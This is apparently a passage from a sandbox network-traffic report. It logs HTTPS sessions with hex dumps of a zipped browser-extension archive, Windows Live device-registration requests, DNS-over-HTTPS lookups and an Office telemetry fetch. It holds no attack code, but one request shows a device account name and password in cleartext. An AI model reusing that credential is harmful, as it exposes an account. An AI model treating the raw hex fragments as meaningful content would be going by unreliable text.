a2 fc ca 82 66 b9 ee fd 2e c5 46 f6 b8 53 d7 bc Data Ascii: `eE8>6L{MdeLHy=W`C~?zY)(Gt Vh9hp17%U*Kh"%`gR>w}Bx"(x1~gNruq_omCv5J-1l:V#XtCu="f.FS
2024-11-25 15:21:35 UTC	1390	IN	Data Raw: eb 3e aa 67 36 b6 c2 7d dd cf 6f 71 6a 3c aa 40 7e 15 06 ce 18 81 87 14 8e b0 58 44 27 7a dd 77 ac b1 b7 dc 66 ab cf 89 e9 ce a6 3c ec 05 3f 02 02 d8 27 ea 46 4f 70 bb e1 2d 44 84 4e 09 f6 ed 1b e9 1b c5 3d 68 a6 0c d9 75 0f 3f b1 8e cd 35 f6 95 bf 91 bd 1a 69 d1 42 51 b5 ee b9 e2 ce 89 50 6c 26 16 de 89 5e bc e6 c4 fd 26 da f5 e3 ce 69 10 77 1e cc c8 01 e9 9e 41 6a 55 a0 38 bc ac b1 bf 6b be 7b ba 51 77 aa c0 9b 05 fc b0 44 37 6a e6 e1 c0 0e 78 4a 7b 14 13 4f eb 10 ed ee 3f fb 8d c4 1f af b9 25 7e f2 af cb 87 f0 11 f9 c7 c7 ff c1 df c8 80 4b b7 c6 3f 03 ce 51 66 ae c1 bd e9 35 31 9c a0 54 88 27 0b eb 52 98 2c 14 76 36 e7 d3 53 74 70 f3 94 48 50 51 74 c1 6a 6c c5 02 57 75 bf ea 37 d6 5c 85 75 ff 1a de 92 f6 c3 8e 3c db 2b f4 fc 0a bf 49 4b a8 ce 14 7e 00 Data Ascii: >g6}oqj<@~XD'zwf<?'FOp-DN=hu?5iBQPl&^&iwAjU8k{QwD7jxJ{O?%~K?Qf51T'R,v6StpHPQtjlWu7\u<+IK~
2024-11-25 15:21:35 UTC	1390	IN	Data Raw: 48 3f c7 20 98 a3 4a ae e7 0e 9d 1f 06 63 15 24 ff cb b8 61 7b a2 4e 58 74 c0 4c 09 86 ba 97 48 e8 03 c4 a9 0f ee 35 65 bd 60 e1 21 a1 18 44 a6 bd 68 e1 33 23 9a dc 91 a1 d2 1c 38 bf d3 98 ca 64 0f d9 ab 56 8f 6d 95 56 f8 a5 e3 ec 3d ef d5 2d b3 5c 3d e6 ff 3a fe 0d 19 c0 60 d4 b8 23 8f b9 88 da a3 ee df 88 f6 ec a7 9c 21 9f 2e 21 cc 81 f2 75 fd ed 12 f6 f3 fe 52 6a 9f db f0 a2 fb e9 a7 81 d4 f7 eb f5 58 53 9e 25 3f f7 32 7e 98 ff 3b 96 ae c7 fe 9f e7 2d df ff f0 9c e5 bf be 3b 4a 9f 4d 99 a9 ba 7f 9d 95 6c 74 8c da b7 42 c7 85 e0 d3 bd e4 8e ca 4d fb 56 f6 ea 5a f6 b6 f6 9f f3 77 e9 37 5f 85 df 9d ff fb bb 96 8e e7 01 8d 3f b9 f3 73 16 f3 d4 7e 18 a7 d6 fb f9 ff 5d c7 97 a1 e3 ee bb 84 8e a9 59 2c 05 d7 fa d6 5e e6 f7 e4 df 87 46 8b e9 f6 55 5f 7f fd e5 Data Ascii: H? Jc$a{NXtLH5e`!Dh3#8dVmV=-\=:`#!.!uRjXS%?2~;-;JMltBMVZw7_?s~]Y,^FU_
2024-11-25 15:21:35 UTC	1390	IN	Data Raw: 50 3d 5b 7f a3 9a c1 c2 43 a0 f0 9c cf 84 2c dc 6f 77 dd ff 5e 04 27 23 01 db 3b d0 22 fa fd ca c2 00 94 91 17 e4 5e bb e4 28 b3 f2 09 87 4b 75 14 8e e0 c2 6f 3a 13 0a 28 96 4a ee 0a 6a 2c 09 f3 2c c2 e9 23 6a 8c ec 09 a0 e8 96 87 84 d2 68 a5 cd ca f5 ec 0a 46 60 f9 be 7b e8 5e a6 f5 2e a5 46 6e c8 a6 db bc 01 50 4b 07 08 1d fb 12 3a a0 00 00 00 23 01 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 72 6f 2f 6d 65 73 73 61 67 65 73 2e 6a 73 6f 6e 55 54 05 00 01 ca 36 2a 67 0a 00 20 00 00 00 00 00 01 00 18 00 00 41 64 ae 95 2f db 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 8d 52 c1 4e 1c 31 0c bd f3 15 d6 9c 8a 34 a0 65 7b 82 1b 82 55 4f 85 aa 2d 97 aa 17 6f c6 b3 58 ca 38 51 Data Ascii: P=[C,ow^'#;"^(Kuo:(Jj,,#jhF`{^.FnPK:#PK!-_locales/ro/messages.jsonUT6*g Ad/RN14e{UO-oX8Q
2024-11-25 15:21:35 UTC	1390	IN	Data Raw: ee 12 87 56 cb 68 4b 0f 6e 3d 2c 91 9f b7 f2 c2 8f 9e 81 ed 64 91 89 5f c8 93 db ec d7 38 3e f4 ec 97 19 5a 11 ad f3 b8 82 28 3a 6c b3 ee 24 e1 50 fb 79 09 cf f1 ad 57 e9 76 70 aa 85 35 32 aa 0a 0f 41 0d 1c 63 cf 15 51 0d 8c 44 97 9c 43 b8 94 04 8f 60 5f 09 e2 4b c0 6e a2 3a 29 12 e1 86 4f 49 97 b9 92 11 e2 5a d6 16 fc 60 20 03 a5 d7 f5 68 06 5f 65 93 9a dd ad 65 97 51 8b ac 05 b4 69 a5 64 30 17 f8 1c 4a 1d 10 6c a0 02 36 20 1b 29 c2 cd 6a e6 f5 e9 55 66 60 81 a8 0e 0c 0c 22 4a e0 41 05 8c 7f 9c 57 46 cf 54 ff 32 7c 7d 9b 6e 4b 1e be a1 2b 8b 2c ea 96 fa 5c 18 5d 04 b1 51 7c 89 a2 45 6d 3a 0b 61 c3 6f a2 78 04 e6 19 c0 10 c1 b2 2f e8 63 ec 0d 6c f9 20 a0 26 d6 8b ea b0 75 64 be 5d fd c4 70 d9 3b b5 ed d4 f1 bc 8d 4d 4a b4 8e 05 bc 1a 18 57 05 34 4d 40 13 Data Ascii: VhKn=,d_8>Z(:l$PyWvp52AcQDC`_Kn:)OIZ` h_eeQid0Jl6 )jUf`"JAWFT2\|}nK+,\]Q\|Em:aox/cl &ud]p;MJW4M@
2024-11-25 15:21:35 UTC	1390	IN	Data Raw: 8f 15 60 c1 98 b9 ab 80 ac 82 c5 04 63 89 63 38 bd 2a 36 1c e9 9a 44 2a 3c 4e 2d ee 92 46 8e 50 dc e3 94 bb f5 61 c2 1d cf 5c 48 24 42 49 6c 12 12 d7 49 d9 ae b5 78 32 3e ee bd 6d 14 36 10 04 42 78 75 49 e8 56 12 9a c0 f8 4e 5b 9e a8 18 48 07 60 fa c4 f3 b8 1c e9 66 42 8d 56 0a 4d 3a 20 57 32 60 3d 87 5b 12 2d 22 e5 44 56 25 e1 21 a6 58 0d e8 46 f5 04 83 06 0e 87 28 fb a4 f0 19 18 b8 02 88 01 7c 80 61 ef 0c 9c e0 24 d3 07 48 c9 09 3f e2 9c 5e e9 89 97 4b 26 3f f6 66 0d 22 cf 03 86 52 31 81 e4 3a 97 fa 54 dc fb b0 49 d9 ef a1 7d 1a 46 e5 77 f4 02 a7 fd a6 7b 35 4f fa 61 2c 0d 6e 07 7a 72 4d 94 18 5d f3 fe 4e 2c 30 9b 6d f6 54 60 d0 58 d4 81 d8 05 43 89 9b 2d 91 75 b1 84 72 e5 82 16 5a a8 d1 8f 71 28 22 a2 ed 69 03 7e 0f 3a 87 3c 26 69 4c 4d 0a 36 d7 c7 a7 Data Ascii: `cc86D<N-FPa\H$BIlIx2>m6BxuIVN[H`fBVM: W2`=[-"DV%!XF(\|a$H?^K&?f"R1:TI}Fw{5Oa,nzrM]N,0mT`XC-urZq("i~:<&iLM6
2024-11-25 15:21:35 UTC	1390	IN	Data Raw: 3f a2 77 74 f9 39 14 92 6f 30 19 61 42 16 3c c5 8e d8 b3 84 2e 10 d8 71 39 f8 5c 22 7b 60 27 ee 3a 3f 1a 26 6a f5 a8 f2 1f 13 ad 85 fc dd 51 24 58 d5 3c 25 19 9d fa 2b 81 d6 c7 4d 37 fd 9a e2 f2 53 ad 5f c1 c9 b9 41 f8 0f 77 84 84 39 d5 5c 7f 74 b0 dd bb 43 ac e6 be ce d5 bf df bb 77 82 1b a6 ff 9c 05 67 3a 77 fe 7a f2 5d 9a 09 4d 66 b5 8d f8 e6 d8 2d cb 4e 6d ee a3 82 48 7b c6 a8 5d b2 e8 52 97 3d e5 a5 b8 ef 36 ad cf 46 de f8 e7 8e 98 46 5f 0f 08 b5 d5 be 41 c5 77 eb e3 54 28 7a 31 07 87 c9 e3 1b f0 13 22 9f 73 e2 40 ce 5e e0 09 2d 54 01 dc 63 06 df 9b 0e c1 43 bf 5c bc 02 50 4b 07 08 c0 47 8a 9f 88 01 00 00 46 03 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 6b 6d 2f 6d 65 73 Data Ascii: ?wt9o0aB<.q9\"{`':?&jQ$X<%+M7S_Aw9\tCwg:wz]Mf-NmH{]R=6FF_AwT(z1"s@^-TcC\PKGFPK!-_locales/km/mes
2024-11-25 15:21:35 UTC	1390	IN	Data Raw: c1 c2 b3 df 74 6f 40 46 69 27 57 e6 ee 9e df fa e6 7c 6c 22 ff dc fc cd 83 bf 84 75 53 df fb 95 fb e0 a6 5b e2 f7 c1 5f 87 cb 78 0d a9 ac a4 0c 68 8e 44 f1 68 52 0e 42 cf 48 31 70 61 e4 4c d1 69 c5 a7 46 2f 04 a6 71 7a 9a be 86 7e 9a df 4a 91 d1 b6 e2 f0 34 96 a4 11 21 a4 4d e9 67 b4 5d b3 aa 52 cd 51 3d 41 bb 66 f2 ab fd 2b c2 fc 18 cf 78 47 7c 50 e9 5f 0e f0 9b c4 43 6a 2a f2 42 35 42 84 04 d7 70 02 ab 0d b5 b1 89 32 98 e2 55 e6 4f d6 3f 1c 81 d7 4f df 01 50 4b 07 08 80 81 20 9b 32 02 00 00 f3 0a 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 73 6b 2f 6d 65 73 73 61 67 65 73 2e 6a 73 6f 6e 55 54 05 00 01 ca 36 2a 67 0a 00 20 00 00 00 00 00 01 00 18 00 00 41 64 ae 95 2f db 01 00 Data Ascii: to@Fi'W\|l"uS[_xhDhRBH1paLiF/qz~J4!Mg]RQ=Af+xG\|P_CjB5Bp2UO?OPK 2PK!-_locales/sk/messages.jsonUT6g Ad/

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.5	49790	20.190.147.1	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 15:21:35 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-25 15:21:35 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-25 15:21:36 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Mon, 25 Nov 2024 15:20:35 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C555_BAY x-ms-request-id: 978903bb-2e75-42b2-82d6-dc0793a8b5a2 PPServer: PPV: 30 H: PH1PEPF00011E7C V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Mon, 25 Nov 2024 15:21:35 GMT Connection: close Content-Length: 1276
2024-11-25 15:21:36 UTC	1276	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.5	49791	20.190.147.1	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 15:21:35 UTC	446	OUT	POST /ppsecure/deviceaddcredential.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 7642 Host: login.live.com
2024-11-25 15:21:35 UTC	7642	OUT	Data Raw: 3c 44 65 76 69 63 65 41 64 64 52 65 71 75 65 73 74 3e 3c 43 6c 69 65 6e 74 49 6e 66 6f 20 6e 61 6d 65 3d 22 49 44 43 52 4c 22 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 3e 3c 42 69 6e 61 72 79 56 65 72 73 69 6f 6e 3e 32 34 3c 2f 42 69 6e 61 72 79 56 65 72 73 69 6f 6e 3e 3c 2f 43 6c 69 65 6e 74 49 6e 66 6f 3e 3c 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 3e 3c 4d 65 6d 62 65 72 6e 61 6d 65 3e 30 32 62 6f 62 63 72 6e 78 79 70 71 65 6a 78 61 3c 2f 4d 65 6d 62 65 72 6e 61 6d 65 3e 3c 50 61 73 73 77 6f 72 64 3e 5e 4c 32 4b 62 48 53 46 68 4d 46 6c 54 3f 52 4a 45 3a 6a 6d 3c 2f 50 61 73 73 77 6f 72 64 3e 3c 2f 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 3e 3c 4f 6c 64 4d 65 6d 62 65 72 6e 61 6d 65 3e 30 32 76 6e 71 75 73 6b 66 70 70 70 63 69 76 63 3c 2f 4f 6c 64 4d Data Ascii: <DeviceAddRequest><ClientInfo name="IDCRL" version="1.0"><BinaryVersion>24</BinaryVersion></ClientInfo><Authentication><Membername>02bobcrnxypqejxa</Membername><Password>^L2KbHSFhMFlT?RJE:jm</Password></Authentication><OldMembername>02vnquskfpppcivc</OldM
2024-11-25 15:21:41 UTC	542	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: text/xml Expires: Mon, 25 Nov 2024 15:20:36 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C542_BAY x-ms-request-id: 9881f7e8-13c6-4977-8912-8f8916e53684 PPServer: PPV: 30 H: PH1PEPF00011F62 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Mon, 25 Nov 2024 15:21:40 GMT Connection: close Content-Length: 17166
2024-11-25 15:21:41 UTC	15842	IN	Data Raw: 3c 44 65 76 69 63 65 41 64 64 52 65 73 70 6f 6e 73 65 20 53 75 63 63 65 73 73 3d 22 74 72 75 65 22 3e 3c 73 75 63 63 65 73 73 3e 74 72 75 65 3c 2f 73 75 63 63 65 73 73 3e 3c 70 75 69 64 3e 30 30 31 38 30 30 31 31 37 44 30 34 44 46 33 30 3c 2f 70 75 69 64 3e 3c 44 65 76 69 63 65 54 70 6d 4b 65 79 53 74 61 74 65 3e 33 3c 2f 44 65 76 69 63 65 54 70 6d 4b 65 79 53 74 61 74 65 3e 3c 4c 69 63 65 6e 73 65 20 43 6f 6e 74 65 6e 74 49 44 3d 22 33 32 35 32 62 32 30 63 2d 64 34 32 35 2d 34 37 31 31 2d 38 63 63 35 2d 62 32 66 35 33 63 38 33 30 62 37 36 22 20 49 44 3d 22 34 38 34 31 31 31 34 36 2d 30 64 30 65 2d 34 31 30 38 2d 38 33 35 36 2d 65 38 37 35 65 33 32 64 66 64 34 34 22 20 4c 69 63 65 6e 73 65 49 44 3d 22 33 32 35 32 62 32 30 63 2d 64 34 32 35 2d 34 37 31 31 Data Ascii: <DeviceAddResponse Success="true"><success>true</success><puid>001800117D04DF30</puid><DeviceTpmKeyState>3</DeviceTpmKeyState><License ContentID="3252b20c-d425-4711-8cc5-b2f53c830b76" ID="48411146-0d0e-4108-8356-e875e32dfd44" LicenseID="3252b20c-d425-4711
2024-11-25 15:21:41 UTC	1324	IN	Data Raw: 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 30 39 2f 78 6d 6c 64 73 69 67 23 65 6e 76 65 6c 6f 70 65 64 2d 73 69 67 6e 61 74 75 72 65 22 2f 3e 3c 2f 54 72 61 6e 73 66 6f 72 6d 73 3e 3c 44 69 67 65 73 74 4d 65 74 68 6f 64 20 41 6c 67 6f 72 69 74 68 6d 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 30 34 2f 78 6d 6c 65 6e 63 23 73 68 61 32 35 36 22 2f 3e 3c 44 69 67 65 73 74 56 61 6c 75 65 3e 67 74 71 77 70 52 35 66 47 44 61 6f 48 73 4d 37 49 57 47 4b 5a 67 61 77 58 61 30 42 50 69 47 61 65 35 62 49 75 6e 2f 52 51 4a 41 3d 3c 2f 44 69 67 65 73 74 56 61 6c 75 65 3e 3c 2f 52 65 66 65 72 65 6e 63 65 3e 3c 2f 53 69 67 6e 65 64 49 6e 66 6f 3e 3c 53 69 67 6e 61 74 75 72 65 56 61 6c 75 65 3e 41 46 38 6f 46 52 2b 47 66 Data Ascii: tp://www.w3.org/2000/09/xmldsig#enveloped-signature"/></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/><DigestValue>gtqwpR5fGDaoHsM7IWGKZgawXa0BPiGae5bIun/RQJA=</DigestValue></Reference></SignedInfo><SignatureValue>AF8oFR+Gf

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.5	49804	162.159.61.3	443	2800	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 15:21:36 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-25 15:21:36 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-25 15:21:36 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Mon, 25 Nov 2024 15:21:36 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e82a121ff0e0f69-EWR alt-svc: h3=":443"; ma=86400
2024-11-25 15:21:36 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 d5 00 04 8e fa 41 a3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomA)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.5	49805	172.64.41.3	443	2800	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 15:21:36 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-25 15:21:36 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-25 15:21:36 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Mon, 25 Nov 2024 15:21:36 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e82a1224bc042bc-EWR alt-svc: h3=":443"; ma=86400
2024-11-25 15:21:36 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 1c 00 04 8e fa 51 e3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomQ)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.5	49806	162.159.61.3	443	2800	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 15:21:36 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-25 15:21:36 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-25 15:21:36 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Mon, 25 Nov 2024 15:21:36 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e82a1228bfb0fab-EWR alt-svc: h3=":443"; ma=86400
2024-11-25 15:21:36 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 1b 00 04 ac d9 a5 83 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.5	49808	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 15:21:36 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 15:21:37 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 15:21:37 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: 44e9982d-301e-001f-6639-3caa3a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T152137Z-15b8b599d882l6clhC1TEBxd5c000000060g00000000bwma x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
